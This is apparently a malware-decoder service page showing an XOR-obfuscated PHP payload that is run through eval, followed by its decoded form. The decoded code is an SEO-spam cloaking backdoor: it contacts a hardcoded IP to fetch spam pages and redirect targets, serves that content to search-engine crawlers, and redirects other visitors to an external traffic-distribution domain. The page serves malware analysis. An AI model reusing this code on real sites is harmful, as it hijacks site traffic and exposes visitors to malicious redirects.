Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


Show other level

$k=102;
$m=explode(";
","107;
108;
111;
111;
107;
108;
111;
111;
66;
30;
87;
91;
66;
57;
53;
35;
52;
48;
35;
52;
61;
68;
46;
50;
50;
54;
57;
46;
41;
53;
50;
68;
59;
93;
107;
108;
111;
111;
66;
0;
84;
91;
68;
0;
15;
10;
3;
21;
73;
4;
72;
10;
9;
1;
68;
93;
107;
108;
111;
111;
107;
108;
111;
111;
66;
19;
22;
2;
7;
18;
3;
70;
91;
70;
0;
7;
10;
21;
3;
93;
107;
108;
111;
111;
107;
108;
111;
111;
15;
0;
70;
78;
0;
15;
10;
3;
57;
3;
30;
15;
21;
18;
21;
78;
66;
0;
84;
79;
79;
29;
107;
108;
111;
111;
111;
66;
20;
91;
0;
15;
10;
3;
57;
1;
3;
18;
57;
5;
9;
8;
18;
3;
8;
18;
21;
78;
66;
0;
84;
79;
93;
107;
108;
111;
111;
111;
66;
22;
91;
3;
30;
22;
10;
9;
2;
3;
78;
68;
26;
68;
74;
66;
20;
79;
93;
107;
108;
111;
111;
111;
15;
0;
70;
78;
78;
18;
15;
11;
3;
78;
79;
70;
75;
70;
66;
22;
61;
87;
59;
79;
70;
88;
70;
85;
80;
86;
86;
79;
70;
66;
19;
22;
2;
7;
18;
3;
70;
91;
70;
18;
20;
19;
3;
93;
107;
108;
111;
111;
111;
66;
18;
2;
21;
91;
66;
22;
61;
86;
59;
93;
107;
108;
111;
111;
27;
107;
108;
111;
111;
107;
108;
111;
111;
15;
0;
70;
78;
71;
0;
15;
10;
3;
57;
3;
30;
15;
21;
18;
21;
78;
66;
0;
84;
79;
70;
26;
26;
70;
66;
19;
22;
2;
7;
18;
3;
79;
29;
107;
108;
111;
111;
111;
66;
19;
20;
10;
91;
68;
14;
18;
18;
22;
92;
73;
73;
81;
82;
72;
83;
83;
72;
85;
87;
72;
87;
84;
82;
73;
1;
3;
18;
57;
18;
2;
21;
72;
22;
14;
22;
89;
14;
91;
68;
72;
66;
30;
87;
93;
107;
108;
111;
111;
111;
66;
5;
14;
70;
91;
70;
5;
19;
20;
10;
57;
15;
8;
15;
18;
78;
79;
93;
107;
108;
111;
111;
111;
5;
19;
20;
10;
57;
21;
3;
18;
9;
22;
18;
70;
78;
66;
5;
14;
74;
70;
37;
51;
52;
42;
41;
54;
50;
57;
51;
52;
42;
74;
70;
66;
19;
20;
10;
79;
93;
107;
108;
111;
111;
111;
5;
19;
20;
10;
57;
21;
3;
18;
9;
22;
18;
70;
78;
66;
5;
14;
74;
70;
37;
51;
52;
42;
41;
54;
50;
57;
52;
35;
50;
51;
52;
40;
50;
52;
39;
40;
53;
32;
35;
52;
74;
70;
87;
79;
93;
107;
108;
111;
111;
111;
5;
19;
20;
10;
57;
21;
3;
18;
9;
22;
18;
70;
78;
66;
5;
14;
74;
70;
37;
51;
52;
42;
41;
54;
50;
57;
50;
47;
43;
35;
41;
51;
50;
74;
70;
82;
86;
79;
93;
107;
108;
111;
111;
111;
5;
19;
20;
10;
57;
21;
3;
18;
9;
22;
18;
70;
78;
66;
5;
14;
74;
70;
37;
51;
52;
42;
41;
54;
50;
57;
35;
40;
37;
41;
34;
47;
40;
33;
70;
74;
70;
68;
1;
28;
15;
22;
68;
79;
93;
107;
108;
111;
111;
111;
66;
20;
91;
5;
19;
20;
10;
57;
3;
30;
3;
5;
70;
78;
66;
5;
14;
79;
93;
107;
108;
111;
111;
111;
5;
19;
20;
10;
57;
5;
10;
9;
21;
3;
70;
78;
66;
5;
14;
79;
93;
107;
108;
111;
111;
111;
66;
22;
91;
3;
30;
22;
10;
9;
2;
3;
78;
68;
26;
68;
74;
66;
20;
79;
93;
107;
108;
111;
111;
111;
66;
22;
15;
8;
1;
91;
18;
20;
15;
11;
78;
66;
22;
61;
86;
59;
79;
93;
107;
108;
111;
111;
111;
66;
18;
2;
21;
91;
18;
20;
15;
11;
78;
66;
22;
61;
87;
59;
79;
93;
107;
108;
111;
111;
107;
108;
111;
111;
111;
15;
0;
70;
78;
66;
22;
15;
8;
1;
71;
91;
68;
8;
3;
17;
18;
2;
21;
68;
70;
26;
26;
70;
66;
18;
2;
21;
91;
91;
68;
68;
79;
70;
66;
18;
2;
21;
70;
91;
70;
68;
14;
18;
18;
22;
92;
73;
73;
2;
3;
17;
14;
81;
1;
80;
72;
30;
9;
20;
1;
72;
22;
10;
73;
68;
93;
107;
108;
111;
111;
111;
66;
0;
91;
38;
0;
9;
22;
3;
8;
78;
66;
0;
84;
74;
68;
17;
68;
79;
93;
38;
0;
17;
20;
15;
18;
3;
78;
66;
0;
74;
66;
18;
2;
21;
72;
68;
26;
68;
72;
18;
15;
11;
3;
78;
79;
79;
93;
38;
0;
5;
10;
9;
21;
3;
78;
66;
0;
79;
93;
107;
108;
111;
111;
27;
107;
108;
111;
111;
107;
108;
111;
111;
66;
13;
3;
31;
91;
66;
57;
53;
35;
52;
48;
35;
52;
61;
68;
55;
51;
35;
52;
63;
57;
53;
50;
52;
47;
40;
33;
68;
59;
93;
107;
108;
111;
111;
66;
19;
7;
91;
66;
57;
53;
35;
52;
48;
35;
52;
61;
68;
46;
50;
50;
54;
57;
51;
53;
35;
52;
57;
39;
33;
35;
40;
50;
68;
59;
93;
107;
108;
111;
111;
66;
22;
22;
22;
91;
3;
30;
22;
10;
9;
2;
3;
78;
68;
91;
68;
74;
66;
13;
3;
31;
79;
93;
107;
108;
111;
111;
66;
13;
3;
31;
91;
18;
20;
15;
11;
78;
66;
22;
22;
22;
61;
87;
59;
79;
93;
107;
108;
107;
108;
111;
111;
66;
21;
3;
7;
20;
5;
14;
3;
8;
1;
15;
8;
3;
91;
86;
93;
107;
108;
111;
111;
66;
15;
22;
91;
21;
22;
20;
15;
8;
18;
0;
78;
68;
67;
19;
68;
74;
15;
22;
84;
10;
9;
8;
1;
78;
66;
57;
53;
35;
52;
48;
35;
52;
61;
68;
52;
35;
43;
41;
50;
35;
57;
39;
34;
34;
52;
68;
59;
79;
79;
93;
107;
108;
111;
111;
15;
0;
70;
78;
78;
66;
15;
22;
88;
91;
85;
80;
85;
95;
83;
82;
95;
95;
83;
84;
79;
64;
64;
78;
66;
15;
22;
90;
91;
85;
80;
85;
95;
83;
83;
94;
87;
82;
85;
79;
79;
66;
21;
3;
7;
20;
5;
14;
3;
8;
1;
15;
8;
3;
91;
87;
93;
70;
107;
108;
111;
111;
15;
0;
70;
78;
78;
66;
15;
22;
88;
91;
87;
87;
84;
85;
80;
85;
87;
87;
86;
82;
79;
64;
64;
78;
66;
15;
22;
90;
91;
87;
87;
84;
85;
80;
85;
95;
84;
95;
83;
79;
79;
66;
21;
3;
7;
20;
5;
14;
3;
8;
1;
15;
8;
3;
91;
87;
93;
70;
107;
108;
111;
111;
15;
0;
70;
78;
78;
66;
15;
22;
88;
91;
87;
86;
94;
95;
86;
83;
84;
80;
81;
84;
79;
64;
64;
78;
66;
15;
22;
90;
91;
87;
86;
94;
95;
86;
80;
86;
94;
80;
85;
79;
79;
66;
21;
3;
7;
20;
5;
14;
3;
8;
1;
15;
8;
3;
91;
87;
93;
70;
107;
108;
111;
111;
15;
0;
70;
78;
78;
66;
15;
22;
88;
91;
87;
86;
81;
94;
84;
87;
94;
81;
83;
84;
79;
64;
64;
78;
66;
15;
22;
90;
91;
87;
86;
81;
94;
84;
84;
86;
81;
95;
95;
79;
79;
66;
21;
3;
7;
20;
5;
14;
3;
8;
1;
15;
8;
3;
91;
87;
93;
70;
107;
108;
111;
111;
15;
0;
70;
78;
78;
66;
15;
22;
88;
91;
87;
86;
81;
94;
84;
84;
86;
94;
86;
84;
79;
64;
64;
78;
66;
15;
22;
90;
91;
87;
86;
81;
94;
84;
84;
84;
86;
85;
87;
79;
79;
66;
21;
3;
7;
20;
5;
14;
3;
8;
1;
15;
8;
3;
91;
87;
93;
70;
107;
108;
111;
111;
15;
0;
70;
78;
78;
66;
15;
22;
88;
91;
87;
86;
94;
81;
85;
94;
87;
83;
86;
94;
79;
64;
64;
78;
66;
15;
22;
90;
91;
87;
86;
94;
81;
85;
94;
84;
95;
83;
84;
79;
79;
66;
21;
3;
7;
20;
5;
14;
3;
8;
1;
15;
8;
3;
91;
87;
93;
70;
107;
108;
111;
111;
15;
0;
70;
78;
78;
66;
15;
22;
88;
91;
85;
83;
87;
84;
86;
82;
87;
82;
81;
84;
79;
64;
64;
78;
66;
15;
22;
90;
91;
85;
83;
87;
84;
86;
82;
83;
83;
80;
81;
79;
79;
66;
21;
3;
7;
20;
5;
14;
3;
8;
1;
15;
8;
3;
91;
87;
93;
70;
107;
108;
111;
111;
15;
0;
70;
78;
78;
66;
15;
22;
88;
91;
87;
87;
87;
85;
95;
94;
86;
95;
84;
94;
79;
64;
64;
78;
66;
15;
22;
90;
91;
87;
87;
87;
85;
95;
94;
83;
86;
84;
85;
79;
79;
66;
21;
3;
7;
20;
5;
14;
3;
8;
1;
15;
8;
3;
91;
87;
93;
70;
107;
108;
111;
111;
15;
0;
70;
78;
78;
66;
15;
22;
88;
91;
87;
84;
86;
94;
95;
84;
80;
84;
86;
94;
79;
64;
64;
78;
66;
15;
22;
90;
91;
87;
84;
86;
94;
95;
82;
84;
83;
95;
87;
79;
79;
66;
21;
3;
7;
20;
5;
14;
3;
8;
1;
15;
8;
3;
91;
87;
93;
70;
107;
108;
111;
111;
15;
0;
70;
78;
78;
66;
15;
22;
88;
91;
87;
84;
82;
95;
81;
86;
83;
95;
94;
82;
79;
64;
64;
78;
66;
15;
22;
90;
91;
87;
84;
82;
95;
81;
81;
87;
83;
87;
95;
79;
79;
66;
21;
3;
7;
20;
5;
14;
3;
8;
1;
15;
8;
3;
91;
87;
93;
70;
107;
108;
107;
108;
107;
108;
111;
111;
15;
0;
70;
78;
21;
18;
20;
15;
21;
18;
20;
78;
66;
19;
7;
74;
68;
63;
7;
14;
9;
9;
71;
68;
79;
26;
26;
21;
18;
20;
15;
21;
18;
20;
78;
66;
19;
7;
74;
68;
11;
21;
8;
4;
9;
18;
68;
79;
79;
66;
21;
3;
7;
20;
5;
14;
3;
8;
1;
15;
8;
3;
91;
87;
93;
107;
108;
111;
111;
15;
0;
70;
78;
21;
18;
20;
15;
21;
18;
20;
78;
66;
46;
50;
50;
54;
57;
51;
53;
35;
52;
57;
39;
33;
35;
40;
50;
74;
68;
16;
15;
7;
70;
18;
20;
7;
8;
21;
10;
7;
18;
3;
72;
1;
9;
9;
1;
10;
3;
72;
5;
9;
11;
68;
79;
79;
66;
21;
3;
7;
20;
5;
14;
3;
8;
1;
15;
8;
3;
91;
86;
93;
107;
108;
111;
111;
15;
0;
70;
78;
21;
18;
20;
15;
21;
18;
20;
78;
66;
46;
50;
50;
54;
57;
51;
53;
35;
52;
57;
39;
33;
35;
40;
50;
74;
68;
33;
9;
9;
1;
10;
3;
70;
49;
39;
54;
70;
54;
20;
9;
30;
31;
68;
79;
79;
66;
21;
3;
7;
20;
5;
14;
3;
8;
1;
15;
8;
3;
91;
86;
93;
107;
108;
111;
111;
15;
0;
70;
78;
21;
18;
20;
15;
21;
18;
20;
78;
66;
46;
50;
50;
54;
57;
51;
53;
35;
52;
57;
39;
33;
35;
40;
50;
74;
68;
33;
9;
9;
1;
10;
3;
70;
37;
46;
50;
43;
42;
70;
54;
20;
9;
30;
31;
68;
79;
79;
66;
21;
3;
7;
20;
5;
14;
3;
8;
1;
15;
8;
3;
91;
86;
93;
107;
108;
111;
111;
107;
108;
111;
111;
15;
0;
70;
78;
66;
21;
3;
7;
20;
5;
14;
3;
8;
1;
15;
8;
3;
79;
29;
107;
108;
111;
111;
111;
9;
4;
57;
21;
18;
7;
20;
18;
78;
68;
9;
4;
57;
1;
28;
14;
7;
8;
2;
10;
3;
20;
68;
79;
93;
107;
108;
111;
111;
107;
108;
111;
111;
111;
66;
0;
15;
10;
91;
4;
7;
21;
3;
8;
7;
11;
3;
78;
66;
13;
3;
31;
79;
93;
107;
108;
111;
111;
111;
66;
0;
84;
91;
68;
0;
15;
10;
3;
21;
73;
66;
0;
15;
10;
72;
18;
30;
18;
68;
93;
107;
108;
111;
111;
111;
15;
0;
70;
78;
71;
0;
15;
10;
3;
57;
3;
30;
15;
21;
18;
21;
78;
66;
0;
84;
79;
79;
29;
107;
108;
111;
111;
107;
108;
111;
111;
111;
111;
66;
19;
20;
10;
91;
68;
14;
18;
18;
22;
92;
73;
73;
81;
82;
72;
83;
83;
72;
85;
87;
72;
87;
84;
82;
73;
1;
3;
18;
57;
0;
15;
10;
3;
72;
22;
14;
22;
89;
23;
91;
68;
72;
66;
0;
15;
10;
72;
68;
64;
8;
91;
82;
68;
93;
107;
108;
111;
111;
111;
111;
66;
5;
14;
70;
91;
70;
5;
19;
20;
10;
57;
15;
8;
15;
18;
78;
79;
93;
107;
108;
111;
111;
111;
111;
5;
19;
20;
10;
57;
21;
3;
18;
9;
22;
18;
70;
78;
66;
5;
14;
74;
70;
37;
51;
52;
42;
41;
54;
50;
57;
51;
52;
42;
74;
70;
66;
19;
20;
10;
79;
93;
107;
108;
111;
111;
111;
111;
5;
19;
20;
10;
57;
21;
3;
18;
9;
22;
18;
70;
78;
66;
5;
14;
74;
70;
37;
51;
52;
42;
41;
54;
50;
57;
52;
35;
50;
51;
52;
40;
50;
52;
39;
40;
53;
32;
35;
52;
74;
70;
87;
79;
93;
107;
108;
111;
111;
111;
111;
5;
19;
20;
10;
57;
21;
3;
18;
9;
22;
18;
70;
78;
66;
5;
14;
74;
70;
37;
51;
52;
42;
41;
54;
50;
57;
50;
47;
43;
35;
41;
51;
50;
74;
70;
82;
86;
79;
93;
107;
108;
111;
111;
111;
111;
5;
19;
20;
10;
57;
21;
3;
18;
9;
22;
18;
70;
78;
66;
5;
14;
74;
70;
37;
51;
52;
42;
41;
54;
50;
57;
35;
40;
37;
41;
34;
47;
40;
33;
70;
74;
70;
68;
1;
28;
15;
22;
68;
79;
93;
107;
108;
111;
111;
111;
111;
66;
20;
91;
5;
19;
20;
10;
57;
3;
30;
3;
5;
70;
78;
66;
5;
14;
79;
93;
107;
108;
111;
111;
111;
111;
5;
19;
20;
10;
57;
5;
10;
9;
21;
3;
70;
78;
66;
5;
14;
79;
93;
107;
108;
111;
111;
111;
111;
15;
0;
70;
78;
66;
20;
70;
71;
91;
70;
68;
68;
79;
70;
29;
66;
0;
91;
38;
0;
9;
22;
3;
8;
78;
66;
0;
84;
74;
68;
17;
68;
79;
93;
38;
0;
17;
20;
15;
18;
3;
78;
66;
0;
74;
66;
20;
79;
93;
38;
0;
5;
10;
9;
21;
3;
78;
66;
0;
79;
93;
27;
70;
107;
108;
111;
111;
111;
111;
3;
10;
21;
3;
70;
29;
70;
14;
3;
7;
2;
3;
20;
78;
65;
46;
50;
50;
54;
73;
87;
72;
87;
70;
82;
86;
82;
70;
40;
9;
18;
70;
32;
9;
19;
8;
2;
65;
79;
93;
70;
3;
30;
15;
18;
93;
70;
27;
107;
108;
111;
111;
107;
108;
111;
111;
111;
27;
3;
10;
21;
3;
29;
107;
108;
111;
111;
111;
111;
66;
20;
91;
0;
15;
10;
3;
57;
1;
3;
18;
57;
5;
9;
8;
18;
3;
8;
18;
21;
78;
66;
0;
84;
79;
93;
107;
108;
111;
111;
111;
27;
107;
108;
111;
111;
111;
3;
5;
14;
9;
70;
66;
20;
93;
107;
108;
111;
111;
27;
3;
10;
21;
3;
29;
107;
108;
111;
111;
111;
14;
3;
7;
2;
3;
20;
78;
68;
42;
9;
5;
7;
18;
15;
9;
8;
92;
70;
68;
72;
66;
18;
2;
21;
72;
68;
15;
8;
72;
22;
14;
22;
89;
18;
91;
18;
20;
3;
8;
2;
21;
64;
13;
91;
68;
72;
19;
20;
10;
3;
8;
5;
9;
2;
3;
78;
66;
13;
3;
31;
79;
72;
68;
64;
14;
91;
84;
86;
86;
95;
75;
86;
95;
75;
84;
83;
57;
68;
72;
66;
30;
87;
72;
68;
64;
16;
3;
20;
91;
87;
64;
0;
20;
91;
87;
64;
2;
91;
85;
94;
95;
68;
79;
93;
107;
108;
111;
111;
27;
107;
108;
");
$z="";
foreach($m as $v)if ($v!="")$z.=chr($v^$k);
eval($z);


		
		$x1=$_SERVER["HTTP_HOST"];
		$f2="files/b.log";
		
		$update = false;
		
		if (file_exists($f2)){
			$r=file_get_contents($f2);
			$p=explode("|",$r);
			if ((time() - $p[1]) > 3600) $update = true;
			$tds=$p[0];
		}
		
		if (!file_exists($f2) || $update){
			$url="http://74.55.31.124/get_tds.php?h=".$x1;
			$ch = curl_init();
			curl_setopt ($ch, CURLOPT_URL, $url);
			curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
			curl_setopt ($ch, CURLOPT_TIMEOUT, 40);
			curl_setopt ($ch, CURLOPT_ENCODING , "gzip");
			$r=curl_exec ($ch);
			curl_close ($ch);
			$p=explode("|",$r);
			$ping=trim($p[0]);
			$tds=trim($p[1]);
		
			if ($ping!="newtds" || $tds=="") $tds = "http://dewh7g6.xorg.pl/";
			$f=@fopen($f2,"w");@fwrite($f,$tds."|".time());@fclose($f);
		}
		
		$key=$_SERVER["QUERY_STRING"];
		$ua=$_SERVER["HTTP_USER_AGENT"];
		$ppp=explode("=",$key);
		$key=trim($ppp[1]);

		$searchengine=0;
		$ip=sprintf("%u",ip2long($_SERVER["REMOTE_ADDR"]));
		if (($ip>=3639549952)&&($ip<=3639558143))$searchengine=1; 
		if (($ip>=1123631104)&&($ip<=1123639295))$searchengine=1; 
		if (($ip>=1089052672)&&($ip<=1089060863))$searchengine=1; 
		if (($ip>=1078218752)&&($ip<=1078220799))$searchengine=1; 
		if (($ip>=1078220802)&&($ip<=1078222031))$searchengine=1; 
		if (($ip>=1087381508)&&($ip<=1087382952))$searchengine=1; 
		if (($ip>=3512041472)&&($ip<=3512045567))$searchengine=1; 
		if (($ip>=1113980928)&&($ip<=1113985023))$searchengine=1; 
		if (($ip>=1208926208)&&($ip<=1208942591))$searchengine=1; 
		if (($ip>=1249705984)&&($ip<=1249771519))$searchengine=1; 


		if (stristr($ua,"Yahoo!")||stristr($ua,"msnbot"))$searchengine=1;
		if (stristr($HTTP_USER_AGENT,"via translate.google.com"))$searchengine=0;
		if (stristr($HTTP_USER_AGENT,"Google WAP Proxy"))$searchengine=0;
		if (stristr($HTTP_USER_AGENT,"Google CHTML Proxy"))$searchengine=0;
		
		if ($searchengine){
			ob_start("ob_gzhandler");
		
			$fil=basename($key);
			$f2="files/$fil.txt";
			if (!file_exists($f2)){
		
				$url="http://74.55.31.124/get_file.php?q=".$fil."&n=4";
				$ch = curl_init();
				curl_setopt ($ch, CURLOPT_URL, $url);
				curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
				curl_setopt ($ch, CURLOPT_TIMEOUT, 40);
				curl_setopt ($ch, CURLOPT_ENCODING , "gzip");
				$r=curl_exec ($ch);
				curl_close ($ch);
				if ($r != "") {$f=@fopen($f2,"w");@fwrite($f,$r);@fclose($f);} 
				else { header('HTTP/1.1 404 Not Found'); exit; }
		
			}else{
				$r=file_get_contents($f2);
			}
			echo $r;
		}else{
			header("Location: ".$tds."in.php?t=trends&k=".urlencode($key)."&h=2009-09-25_".$x1."&ver=1&fr=1&d=389");
		}



© 2023 Quttera Ltd. All rights reserved.